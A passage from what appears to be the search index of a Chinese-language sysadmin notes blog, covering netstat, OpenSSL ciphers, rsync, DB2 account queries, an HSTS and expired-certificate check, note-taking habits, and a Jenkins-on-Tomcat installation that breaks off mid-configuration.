waiting for a connect re‐ quest. The other flags are not of normal interest. Type There are several types of socket access: SOCK_DGRAM The socket is used in Datagram (connectionless) mode. SOCK_STREAM This is a stream (connection) socket. SOCK_RAW The socket is used as a raw socket. SOCK_RDM This one serves reliably-delivered messages. SOCK_SEQPACKET This is a sequential packet socket. SOCK_PACKET Raw interface access socket. UNKNOWN Who ever knows what the future will bring us - just fill in here :-) State This field will contain one of the following Keywords: FREE The socket is not allocated LISTENING The socket is listening for a connection request.\tSuch sockets are only included in the output if you specify the --listening (-l) or --all (-a) option. CONNECTING The socket is about to establish a connection. CONNECTED The socket is connected. DISCONNECTING The socket is disconnecting. (empty) The socket is not connected to another one. UNKNOWN This state should never happen. PID/Program name Process ID (PID) and process name of the process that has the socket open. More info available in Active Internet connections section written above. Path This is the path name as which the corresponding processes attached to the socket. Active IPX sockets (this needs to be done by somebody who knows it) Active NET/ROM sockets (this needs to be done by somebody who knows it) Active AX.25 sockets (this needs to be done by somebody who knows it) FILES /etc/services -- The services translation file /proc -- Mount point for the proc filesystem, which gives access to kernel status information via the following files. /proc/net/dev -- device information /proc/net/raw -- raw socket information /proc/net/tcp -- TCP socket information /proc/net/udp -- UDP socket information /proc/net/udplite -- UDPLite socket information /proc/net/igmp -- IGMP multicast information /proc/net/unix -- Unix domain socket information /proc/net/ipx -- IPX socket information /proc/net/ax25 -- AX25 socket information /proc/net/appletalk -- DDP (appletalk) socket information /proc/net/nr -- NET/ROM socket information /proc/net/route -- IP routing information /proc/net/ax25_route -- AX25 routing information /proc/net/ipx_route -- IPX routing information /proc/net/nr_nodes -- NET/ROM nodelist /proc/net/nr_neigh -- NET/ROM neighbours /proc/net/ip_masquerade -- masqueraded connections /sys/kernel/debug/bluetooth/l2cap -- Bluetooth L2CAP information /sys/kernel/debug/bluetooth/rfcomm -- Bluetooth serial connections /proc/net/snmp -- statistics SEE ALSO route(8), ifconfig(8), iptables(8), proc(5) ss(8) ip(8) BUGS Occasionally strange information may appear if a socket changes as it is viewed. This is unlikely to occur. AUTHORS The netstat user interface was written by\tFred Baumgarten \u003cdc6iq@insu1.etec.uni-karlsruhe.de\u003e,\tthe man page\tbasically by Matt Welsh \u003cmdw@tc.cornell.edu\u003e. It was updated by Alan Cox \u003cAlan.Cox@linux.org\u003e, updated again by Tuan Hoang \u003ctqhoang@bigfoot.com\u003e. The man page and the command included in the net-tools package is totally rewritten by Bernd Eckenfels \u003cecki@linux.de\u003e.\tUD‐ PLite options were added by Brian Micek \u003cbmicek@gmail.com\u003e net-tools\t2014-10-07\tNETSTAT(8) ","title":"Linux Cli Netstat","type":"worknot"},{"content":"","date":"June 3, 2024","externalUrl":null,"permalink":"/tags/netstat/","section":"Tags","summary":"","title":"Netstat","type":"tags"},{"content":" 檢查本機的OpenSSL支援加密協定 1 openssl ciphers -v | grep TLS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ❯ openssl ciphers -v | grep TLS TLS_AES_256_GCM_SHA384 TLSv1.3 Kx=any Au=any Enc=AESGCM(256) Mac=AEAD TLS_CHACHA20_POLY1305_SHA256 TLSv1.3 Kx=any Au=any Enc=CHACHA20/POLY1305(256) Mac=AEAD TLS_AES_128_GCM_SHA256 TLSv1.3 Kx=any Au=any Enc=AESGCM(128) Mac=AEAD ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(256) Mac=AEAD ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(256) Mac=AEAD ECDHE-ECDSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH Au=ECDSA Enc=CHACHA20/POLY1305(256) Mac=AEAD ECDHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH Au=RSA Enc=CHACHA20/POLY1305(256) Mac=AEAD DHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=DH Au=RSA Enc=CHACHA20/POLY1305(256) Mac=AEAD ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(128) Mac=AEAD ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(128) Mac=AEAD DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(128) Mac=AEAD ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AES(256) Mac=SHA384 ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AES(256) Mac=SHA384 DHE-RSA-AES256-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AES(256) Mac=SHA256 ECDHE-ECDSA-AES128-SHA256 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AES(128) Mac=SHA256 ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AES(128) Mac=SHA256 DHE-RSA-AES128-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AES(128) Mac=SHA256 ECDHE-ECDSA-AES256-SHA TLSv1 Kx=ECDH Au=ECDSA Enc=AES(256) Mac=SHA1 ECDHE-RSA-AES256-SHA TLSv1 Kx=ECDH Au=RSA Enc=AES(256) Mac=SHA1 ECDHE-ECDSA-AES128-SHA TLSv1 Kx=ECDH Au=ECDSA Enc=AES(128) Mac=SHA1 ECDHE-RSA-AES128-SHA TLSv1 Kx=ECDH Au=RSA Enc=AES(128) Mac=SHA1 RSA-PSK-AES256-GCM-SHA384 TLSv1.2 Kx=RSAPSK Au=RSA Enc=AESGCM(256) Mac=AEAD DHE-PSK-AES256-GCM-SHA384 TLSv1.2 Kx=DHEPSK Au=PSK Enc=AESGCM(256) Mac=AEAD RSA-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=RSAPSK Au=RSA Enc=CHACHA20/POLY1305(256) Mac=AEAD DHE-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=DHEPSK Au=PSK Enc=CHACHA20/POLY1305(256) Mac=AEAD ECDHE-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=ECDHEPSK Au=PSK Enc=CHACHA20/POLY1305(256) Mac=AEAD AES256-GCM-SHA384 TLSv1.2 Kx=RSA Au=RSA Enc=AESGCM(256) Mac=AEAD PSK-AES256-GCM-SHA384 TLSv1.2 Kx=PSK Au=PSK Enc=AESGCM(256) Mac=AEAD PSK-CHACHA20-POLY1305 TLSv1.2 Kx=PSK Au=PSK Enc=CHACHA20/POLY1305(256) Mac=AEAD RSA-PSK-AES128-GCM-SHA256 TLSv1.2 Kx=RSAPSK Au=RSA Enc=AESGCM(128) Mac=AEAD DHE-PSK-AES128-GCM-SHA256 TLSv1.2 Kx=DHEPSK Au=PSK Enc=AESGCM(128) Mac=AEAD AES128-GCM-SHA256 TLSv1.2 Kx=RSA Au=RSA Enc=AESGCM(128) Mac=AEAD PSK-AES128-GCM-SHA256 TLSv1.2 Kx=PSK Au=PSK Enc=AESGCM(128) Mac=AEAD AES256-SHA256 TLSv1.2 Kx=RSA Au=RSA Enc=AES(256) Mac=SHA256 AES128-SHA256 TLSv1.2 Kx=RSA Au=RSA Enc=AES(128) Mac=SHA256 ECDHE-PSK-AES256-CBC-SHA384 TLSv1 Kx=ECDHEPSK Au=PSK Enc=AES(256) Mac=SHA384 ECDHE-PSK-AES256-CBC-SHA TLSv1 Kx=ECDHEPSK Au=PSK Enc=AES(256) Mac=SHA1 RSA-PSK-AES256-CBC-SHA384 TLSv1 Kx=RSAPSK Au=RSA Enc=AES(256) Mac=SHA384 DHE-PSK-AES256-CBC-SHA384 TLSv1 Kx=DHEPSK Au=PSK Enc=AES(256) Mac=SHA384 PSK-AES256-CBC-SHA384 TLSv1 Kx=PSK Au=PSK Enc=AES(256) Mac=SHA384 ECDHE-PSK-AES128-CBC-SHA256 TLSv1 Kx=ECDHEPSK Au=PSK Enc=AES(128) Mac=SHA256 ECDHE-PSK-AES128-CBC-SHA TLSv1 Kx=ECDHEPSK Au=PSK Enc=AES(128) Mac=SHA1 RSA-PSK-AES128-CBC-SHA256 TLSv1 Kx=RSAPSK Au=RSA Enc=AES(128) Mac=SHA256 DHE-PSK-AES128-CBC-SHA256 TLSv1 Kx=DHEPSK Au=PSK Enc=AES(128) Mac=SHA256 PSK-AES128-CBC-SHA256 TLSv1 Kx=PSK Au=PSK Enc=AES(128) Mac=SHA256 工具 # SSL Configuration Generator 參考資料 # Security/Server Side TLS Transport Layer Security (TLS) Parameters openssl-iana.mapping ","date":"May 29, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240529-1/","section":"Worknots","summary":" 檢查本機的OpenSSL支援加密協定 1 openssl ciphers -v | grep TLS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ❯ openssl ciphers -v | grep TLS TLS_AES_256_GCM_SHA384 TLSv1.3 Kx=any Au=any Enc=AESGCM(256) Mac=AEAD TLS_CHACHA20_POLY1305_SHA256 TLSv1.3 Kx=any Au=any Enc=CHACHA20/POLY1305(256) Mac=AEAD TLS_AES_128_GCM_SHA256 TLSv1.3 Kx=any Au=any Enc=AESGCM(128) Mac=AEAD ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(256) Mac=AEAD ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(256) Mac=AEAD ECDHE-ECDSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH Au=ECDSA Enc=CHACHA20/POLY1305(256) Mac=AEAD ECDHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH Au=RSA Enc=CHACHA20/POLY1305(256) Mac=AEAD DHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=DH Au=RSA Enc=CHACHA20/POLY1305(256) Mac=AEAD ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(128) Mac=AEAD ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(128) Mac=AEAD DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(128) Mac=AEAD ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AES(256) Mac=SHA384 ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AES(256) Mac=SHA384 DHE-RSA-AES256-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AES(256) Mac=SHA256 ECDHE-ECDSA-AES128-SHA256 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AES(128) Mac=SHA256 ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AES(128) Mac=SHA256 DHE-RSA-AES128-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AES(128) Mac=SHA256 ECDHE-ECDSA-AES256-SHA TLSv1 Kx=ECDH Au=ECDSA Enc=AES(256) Mac=SHA1 ECDHE-RSA-AES256-SHA TLSv1 Kx=ECDH Au=RSA Enc=AES(256) Mac=SHA1 ECDHE-ECDSA-AES128-SHA TLSv1 Kx=ECDH Au=ECDSA Enc=AES(128) Mac=SHA1 ECDHE-RSA-AES128-SHA TLSv1 Kx=ECDH Au=RSA Enc=AES(128) Mac=SHA1 RSA-PSK-AES256-GCM-SHA384 TLSv1.2 Kx=RSAPSK Au=RSA Enc=AESGCM(256) Mac=AEAD DHE-PSK-AES256-GCM-SHA384 TLSv1.2 Kx=DHEPSK Au=PSK Enc=AESGCM(256) Mac=AEAD RSA-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=RSAPSK Au=RSA Enc=CHACHA20/POLY1305(256) Mac=AEAD DHE-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=DHEPSK Au=PSK Enc=CHACHA20/POLY1305(256) Mac=AEAD ECDHE-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=ECDHEPSK Au=PSK Enc=CHACHA20/POLY1305(256) Mac=AEAD AES256-GCM-SHA384 TLSv1.2 Kx=RSA Au=RSA Enc=AESGCM(256) Mac=AEAD PSK-AES256-GCM-SHA384 TLSv1.2 Kx=PSK Au=PSK Enc=AESGCM(256) Mac=AEAD PSK-CHACHA20-POLY1305 TLSv1.2 Kx=PSK Au=PSK Enc=CHACHA20/POLY1305(256) Mac=AEAD RSA-PSK-AES128-GCM-SHA256 TLSv1.2 Kx=RSAPSK Au=RSA Enc=AESGCM(128) Mac=AEAD DHE-PSK-AES128-GCM-SHA256 TLSv1.2 Kx=DHEPSK Au=PSK Enc=AESGCM(128) Mac=AEAD AES128-GCM-SHA256 TLSv1.2 Kx=RSA Au=RSA Enc=AESGCM(128) Mac=AEAD PSK-AES128-GCM-SHA256 TLSv1.2 Kx=PSK Au=PSK Enc=AESGCM(128) Mac=AEAD AES256-SHA256 TLSv1.2 Kx=RSA Au=RSA Enc=AES(256) Mac=SHA256 AES128-SHA256 TLSv1.2 Kx=RSA Au=RSA Enc=AES(128) Mac=SHA256 ECDHE-PSK-AES256-CBC-SHA384 TLSv1 Kx=ECDHEPSK Au=PSK Enc=AES(256) Mac=SHA384 ECDHE-PSK-AES256-CBC-SHA TLSv1 Kx=ECDHEPSK Au=PSK Enc=AES(256) Mac=SHA1 RSA-PSK-AES256-CBC-SHA384 TLSv1 Kx=RSAPSK Au=RSA Enc=AES(256) Mac=SHA384 DHE-PSK-AES256-CBC-SHA384 TLSv1 Kx=DHEPSK Au=PSK Enc=AES(256) Mac=SHA384 PSK-AES256-CBC-SHA384 TLSv1 Kx=PSK Au=PSK Enc=AES(256) Mac=SHA384 ECDHE-PSK-AES128-CBC-SHA256 TLSv1 Kx=ECDHEPSK Au=PSK Enc=AES(128) Mac=SHA256 ECDHE-PSK-AES128-CBC-SHA TLSv1 Kx=ECDHEPSK Au=PSK Enc=AES(128) Mac=SHA1 RSA-PSK-AES128-CBC-SHA256 TLSv1 Kx=RSAPSK Au=RSA Enc=AES(128) Mac=SHA256 DHE-PSK-AES128-CBC-SHA256 TLSv1 Kx=DHEPSK Au=PSK Enc=AES(128) Mac=SHA256 PSK-AES128-CBC-SHA256 TLSv1 Kx=PSK Au=PSK Enc=AES(128) Mac=SHA256 工具 # SSL Configuration Generator 參考資料 # Security/Server Side TLS Transport Layer Security (TLS) Parameters openssl-iana.mapping ","title":"nginx ssl 設定步驟","type":"worknot"},{"content":" 中斷續傳 # 1 rsync -P --rsh=ssh jameschang@[IP]:[source-path] [gold-path] -P 顯示進度\n","date":"May 18, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240518-1/","section":"Worknots","summary":"中斷續傳 # 1 rsync -P --rsh=ssh jameschang@[IP]:[source-path] [gold-path] -P 顯示進度\n","title":"linux CLI rsync","type":"worknot"},{"content":"","date":"May 18, 2024","externalUrl":null,"permalink":"/tags/rsync/","section":"Tags","summary":"","title":"Rsync","type":"tags"},{"content":" 查詢目前資料庫哪些帳號 # 1 SELECT * FROM SYSIBM.SYSDBAUTH 1 2 3 4 5 GRANTOR |GRANTEE |DBADMAUTH|CREATETABAUTH|BINDADDAUTH|CONNECTAUTH|NOFENCEAUTH|GRANTEETYPE|IMPLSCHEMAAUTH|LOADAUTH|EXTERNALROUTINEAUTH|QUIESCECONNECTAUTH|SECURITYADMAUTH|LIBRARYADMAUTH|GRANTORTYPE|GRANTEEROLEID|GRANTORROLEID|SQLADMAUTH|WLMADMAUTH|EXPLAINAUTH|DATAACCESSAUTH|ACCESSCTRLAUTH| -------+--------+---------+-------------+-----------+-----------+-----------+-----------+--------------+--------+-------------------+------------------+---------------+--------------+-----------+-------------+-------------+----------+----------+-----------+--------------+--------------+ SYSIBM |DB2INST1|Y |N |N |N |N |U |N |N |N |N |Y |N |S | | |N |N |N |Y |Y | SYSIBM |PUBLIC |N |Y |Y |Y |N |G |Y |N |N |N |N |N |S | | |N |N |N |N |N | DB2INST1|USER1 |Y |Y |Y |Y |Y |U |Y |Y |Y |Y |Y |N |U | | |Y |Y |N |Y |Y | ","date":"May 13, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240513-1/","section":"Worknots","summary":"查詢目前資料庫哪些帳號 # 1 SELECT * FROM SYSIBM.SYSDBAUTH 1 2 3 4 5 GRANTOR |GRANTEE |DBADMAUTH|CREATETABAUTH|BINDADDAUTH|CONNECTAUTH|NOFENCEAUTH|GRANTEETYPE|IMPLSCHEMAAUTH|LOADAUTH|EXTERNALROUTINEAUTH|QUIESCECONNECTAUTH|SECURITYADMAUTH|LIBRARYADMAUTH|GRANTORTYPE|GRANTEEROLEID|GRANTORROLEID|SQLADMAUTH|WLMADMAUTH|EXPLAINAUTH|DATAACCESSAUTH|ACCESSCTRLAUTH| -------+--------+---------+-------------+-----------+-----------+-----------+-----------+--------------+--------+-------------------+------------------+---------------+--------------+-----------+-------------+-------------+----------+----------+-----------+--------------+--------------+ SYSIBM |DB2INST1|Y |N |N |N |N |U |N |N |N |N |Y |N |S | | |N |N |N |Y |Y | SYSIBM |PUBLIC |N |Y |Y |Y |N |G |Y |N |N |N |N |N |S | | |N |N |N |N |N | DB2INST1|USER1 |Y |Y |Y |Y |Y |U |Y |Y |Y |Y |Y |N |U | | |Y |Y |N |Y |Y | ","title":"DB2 維護相關 SQL","type":"worknot"},{"content":" 問題 # You cannot visit domain.example.com right now because the website uses HSTS.\n說明 # 該網站啟用了 HSTS（HTTP Strict Transport Security）功能，這意味著您的瀏覽器記住了您僅能使用安全的 HTTPS 連接方式訪問該網站，以增強安全性。這可以防止您的瀏覽器通過不安全的 HTTP 連接訪問該網站。\n可能的狀況 # 憑證過期 1 2 3 4 ❯ curl -v -k https://volunteer.ntpc.gov.tw 2\u0026gt;\u0026amp;1 | grep -E \u0026#34;Connected to|subject|expire\u0026#34; * Connected to volunteer.ntpc.gov.tw (61.60.98.240) port 443 (#0) * subject: C=TW; L=\\Uxxxx\\Uxxxx\\Uxxxx; O=\\Uxxxx\\Uxxxx\\Uxxxx; OU=\\Uxxxx\\Uxxxx\\Uxxxx; OU=\\Uxxxx\\Uxxxx\\Uxxxx\\Uxxxx; CN=domain.example.com; serialNumber=0000000010045160 * expire date: Aug 8 00:00:00 2020 GMT ","date":"May 7, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240507-2/","section":"Worknots","summary":"問題 # You cannot visit domain.example.com right now because the website uses HSTS.\n說明 # 該網站啟用了 HSTS（HTTP Strict Transport Security）功能，這意味著您的瀏覽器記住了您僅能使用安全的 HTTPS 連接方式訪問該網站，以增強安全性。這可以防止您的瀏覽器通過不安全的 HTTP 連接訪問該網站。\n","title":"網頁連線問題","type":"worknot"},{"content":"這幾個月左思右想，這幾年的工作中發現做有些事情可以讓任務執行的更順暢。\n凡事先規劃並將規劃轉寫成文件。 每天列舉出要做的事項。 完成工作後，撰寫一份簡單的結案文件。 這三件事情我覺的重點在於「紀錄文件」這件事。畢竟身為人畢竟識健忘的，即使是一個團體內部可以互向提醒，但是集體忽略或是忘記某件事仍然會出現。所以將每項任務或是事情落實成文件是一件很重要的事情。重點有這些文件，隨時都可以有一個交接的起步。\n但是文件一多，就會越難進行尋找。但是拜硬碟科技所賜，現在電腦中的硬碟大多已經是固態硬碟(SSD)了，要針對幾千個純文字檔進行全文搜索往往也只需要幾秒鐘的時間。\n以我的習管為例，我習慣使用 Markdown 語法作為筆記格式，一方面可以很直覺呈現一篇筆記的章節內容，另一方面也有合適的工具針對程式語法提供高亮度顯示，通常 vsCode 就可以達到輕鬆閱讀的需求了。另外 Markdown 還可以傳化成 html、PDF 等其他文件格式。重點是筆記一多也不怕在茫茫筆記海中搜尋困難。因為純文字在現在的搜尋工具可以很輕鬆的找到。在 UI 界面中，目前仍然是以 vsCode 最方便，接下來是 linux find + grep 指令 也可以輕鬆尋找，如下：\n1 find \u0026#34;/home/jameschang/Documents/ntoes/\u0026#34; -name \u0026#34;*.md\u0026#34; -type f -exec grep -l -H \u0026#34;關鍵字\u0026#34; {} \\; 好啦，因為最近工作上真的遇到瓶頸，所以有一點體悟到這四年的工作筆記沒有白費。\n","date":"May 7, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240507-1/","section":"Worknots","summary":"這幾個月左思右想，這幾年的工作中發現做有些事情可以讓任務執行的更順暢。\n凡事先規劃並將規劃轉寫成文件。 每天列舉出要做的事項。 完成工作後，撰寫一份簡單的結案文件。 這三件事情我覺的重點在於「紀錄文件」這件事。畢竟身為人畢竟識健忘的，即使是一個團體內部可以互向提醒，但是集體忽略或是忘記某件事仍然會出現。所以將每項任務或是事情落實成文件是一件很重要的事情。重點有這些文件，隨時都可以有一個交接的起步。\n","title":"職涯七年心路歷程","type":"worknot"},{"content":" 環境 # OS: Debian 12, Oracle Linux 9 jenkins version: 2.462.1 jre: adoptium jre 17 安裝 # 安裝必要package # Debian 1 sudo apt install -y fontconfig tar zip git wget Oracle Linux 9 1 sudo dnf install -y fontconfig tar zip git wget 部署 tomcat # 安裝 jre # 從 adoptium 官方網站下載 java 17 安裝 jre 1 2 3 4 sudo mkdir -p /usr/local/lib/jvm sudo tar -zxf ~/OpenJDK17U-jre_x64_linux_hotspot_17.0.12_7.tar.gz -C /usr/local/lib/jvm cd /usr/local/lib/jvm/ sudo ln -s jdk-17.0.12+7-jre jre-17-latest 安裝 tomcat # 設定使用者 1 sudo useradd --system -r tomcat -s /sbin/nologin 1 2 3 4 5 sudo useradd --system -r jenkins -s /bin/bash passwd jenkins sudo usermod -a -G tomcat jenkins visudo 1 2 3 4 tee /etc/sudoers.d/tomcat \u0026lt;\u0026lt;EOF Cmnd_Alias TOMCAT_SERVICE = /bin/systemctl stop tomcat-*, /bin/systemctl start tomcat-*, /bin/systemctl status tomcat-*, /bin/systemctl restart tomcat-* jenkins ALL=(ALL) NOPASSWD: TOMCAT_SERVICE EOF 設定目錄 1 2 3 4 5 6 7 sudo mkdir -p /var/tomcat/dump/jenkins \\ /var/log/tomcat/jenkins \\ /opt/apache-tomcat/ \\ /usr/local/etc/catalina/jenkins/{webapps,temp,work} \\ /usr/local/jenkins sudo chown -R tomcat: /var/log/tomcat sudo chown -R tomcat: /usr/local/share/apache-tomcat 下載 tomcat 並安裝 1 2 3 4 5 6 7 8 9 10 11 12 13 14 wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.93/bin/apache-tomcat-9.0.93.tar.gz sudo tar -zxf ~/apache-tomcat-9.0.93.tar.gz -C /usr/local/share/apache-tomcat cd /usr/local/share/apache-tomcat sudo ln -s apache-tomcat-9.0.93 apache-tomcat-9-latest sudo rm -rf /usr/local/share/apache-tomcat/apache-tomcat-9-latest/webapps/* sudo rm -rf /usr/local/share/apache-tomcat/apache-tomcat-9-latest/logs/* sudo mkdir /usr/local/share/apache-tomcat/apache-tomcat-9-latest/logs sudo chown -R tomcat: /usr/local/share/apache-tomcat sudo chown -R root: /usr/local/share/apache-tomcat/*/logs sudo chown -R tomcat: /usr/local/etc/catalina sudo chown -R tomcat: /var/tomcat/dump sudo chown -R tomcat: /home/tomcat 設定 tomcat 參數 1 2 sudo ln -s /var/log/tomcat/jenkins /usr/local/etc/catalina/jenkins/logs sudo -u tomcat cp -r /opt/apache-tomcat/apache-tomcat-9-latest/conf /usr/local/etc/catalina/jenkins/conf 1 2 3 4 5 6 7 8 9 tee /usr/local/etc/catalina/jenkins/conf/context.xml\u0026lt;\u0026lt;EOF \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;Context\u0026gt; \u0026lt;WatchedResource\u0026gt;WEB-INF/web.xml\u0026lt;/WatchedResource\u0026gt; \u0026lt;WatchedResource\u0026gt;WEB-INF/tomcat-web.xml\u0026lt;/WatchedResource\u0026gt; \u0026lt;WatchedResource\u0026gt;\\${catalina.base}/conf/web.xml\u0026lt;/WatchedResource\u0026gt; \u0026lt;Resources cacheMaxSize=\u0026#34;51200\u0026#34; cachingAllowed=\u0026#34;true\u0026#34;/\u0026gt; \u0026lt;/Context\u0026gt; EOF jenkins/conf/server.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 sudo -u tomcat tee /usr/local/etc/catalina/jenkins/conf/server.xml\u0026lt;\u0026lt;EOF \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;Server port=\u0026#34;-1\u0026#34; shutdown=\u0026#34;SHUTDOWN\u0026#34;\u0026gt; \u0026lt;Listener className=\u0026#34;org.apache.catalina.startup.VersionLoggerListener\u0026#34; /\u0026gt; \u0026lt;Listener className=\u0026#34;org.apache.catalina.core.AprLifecycleListener\u0026#34; SSLEngine=\u0026#34;on\u0026#34; /\u0026gt; \u0026lt;Listener className=\u0026#34;org.apache.catalina.core.JreMemoryLeakPreventionListener\u0026#34; /\u0026gt; \u0026lt;Listener className=\u0026#34;org.apache.catalina.mbeans.GlobalResourcesLifecycleListener\u0026#34; /\u0026gt; \u0026lt;Listener className=\u0026#34;org.apache.catalina.core.ThreadLocalLeakPreventionListener\u0026#34; /\u0026gt; \u0026lt;GlobalNamingResources\u0026gt; \u0026lt;Resource name=\u0026#34;UserDatabase\u0026#34; auth=\u0026#34;Container\u0026#34; type=\u0026#34;org.apache.catalina.UserDatabase\u0026#34; description=\u0026#34;User database that can be updated and saved\u0026#34; factory=\u0026#34;org.apache.catalina.users.MemoryUserDatabaseFactory\u0026#34; pathname=\u0026#34;conf/tomcat-users.xml\u0026#34; cachingAllowed=\u0026#34;false\u0026#34; /\u0026gt; \u0026lt;/GlobalNamingResources\u0026gt; \u0026lt;Service name=\u0026#34;Catalina\u0026#34;\u0026gt; \u0026lt;Connector port=\u0026#34;8080\u0026#34; protocol=\u0026#34;org.apache.coyote.http11.Http11NioProtocol\u0026#34; connectionTimeout=\u0026#34;20000\u0026#34; redirectPort=\u0026#34;8443\u0026#34; maxParameterCount=\u0026#34;1000\u0026#34; disableUploadTimeout= \u0026#34;true\u0026#34; server=\u0026#34;jenkins\u0026#34; URIEncoding= \u0026#34;UTF-8\u0026#34; /\u0026gt; \u0026lt;Engine name=\u0026#34;Catalina\u0026#34; defaultHost=\u0026#34;localhost\u0026#34;\u0026gt; \u0026lt;Realm className=\u0026#34;org.apache.catalina.realm.LockOutRealm\u0026#34;\u0026gt; \u0026lt;Realm className=\u0026#34;org.apache.catalina.realm.UserDatabaseRealm\u0026#34; resourceName=\u0026#34;UserDatabase\u0026#34;/\u0026gt; \u0026lt;/Realm\u0026gt; \u0026lt;Host name=\u0026#34;localhost\u0026#34; appBase=\u0026#34;webapps\u0026#34; unpackWARs=\u0026#34;false\u0026#34; autoDeploy=\u0026#34;false\u0026#34; reloadable=\u0026#34;false\u0026#34; \u0026gt; \u0026lt;Valve className=\u0026#34;org.apache.catalina.valves.RemoteIpValve\u0026#34; internalProxies=\u0026#34;.*\u0026#34; remoteIpHeader=\u0026#34;x-forwarded-for\u0026#34; proxiesHeader=\u0026#34;x-forwarded-by\u0026#34; protocolHeader=\u0026#34;x-forwarded-proto\u0026#34; httpsServerPort=\u0026#34;443\u0026#34; /\u0026gt; \u0026lt;Valve className=\u0026#34;org.apache.catalina.valves.ErrorReportValve\u0026#34; showReport=\u0026#34;false\u0026#34; showServerInfo=\u0026#34;false\u0026#34; /\u0026gt; \u0026lt;Valve className=\u0026#34;org.apache.catalina.valves.AccessLogValve\u0026#34; directory=\u0026#34;logs\u0026#34; prefix=\u0026#34;localhost_access_log\u0026#34; suffix=\u0026#34;.txt\u0026#34; pattern=\u0026#34;%h %l %u %t \u0026amp;quot;%r\u0026amp;quot; %s %b\u0026#34; /\u0026gt; \u0026lt;/Host\u0026gt; \u0026lt;/Engine\u0026gt; \u0026lt;/Service\u0026gt; \u0026lt;/Server\u0026gt; EOF 設定 daemon /etc/systemd/system/jenkins.service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 sudo tee /etc/systemd/system/jenkins.service\u0026lt;\u0026lt;EOF [Unit] Description=Apache Tomcat Web Application Container After=syslog.target network.target [Service] Type=forking Environment=JAVA_HOME=/usr/local/lib/jvm/jdk17-latest Environment=CATALINA_PID=/run/jenkins.pid Environment=CATALINA_HOME=/opt/apache-tomcat/apache-tomcat-9-latest Environment=CATALINA_BASE=/usr/local/etc/catalina/jenkins Environment=\u0026#34;JENKINS_PREFIX=/jenkins\u0026#34; Environment=\u0026#34;JENKINS_HOME=/usr/local/jenkins\u0026#34; #CATALINA_OPTS Environment=\u0026#39;CATALINA_OPTS=-server -Xshare:off -Xms2g -Xmx2g -Djava.net.preferIPv4Stack=true -XX:+EliminateLocks -XX:+UseBiasedLocking -XX:MaxJavaStackTraceDepth=100 -XX:+UseG1GC -XX:MaxGCPauseMillis=95\u0026#39; #JAVA_OPTS Environment=\u0026#39;JAVA_OPTS=-Duser.language=zh -Duser.region=TW -Djava.awt.headless=true 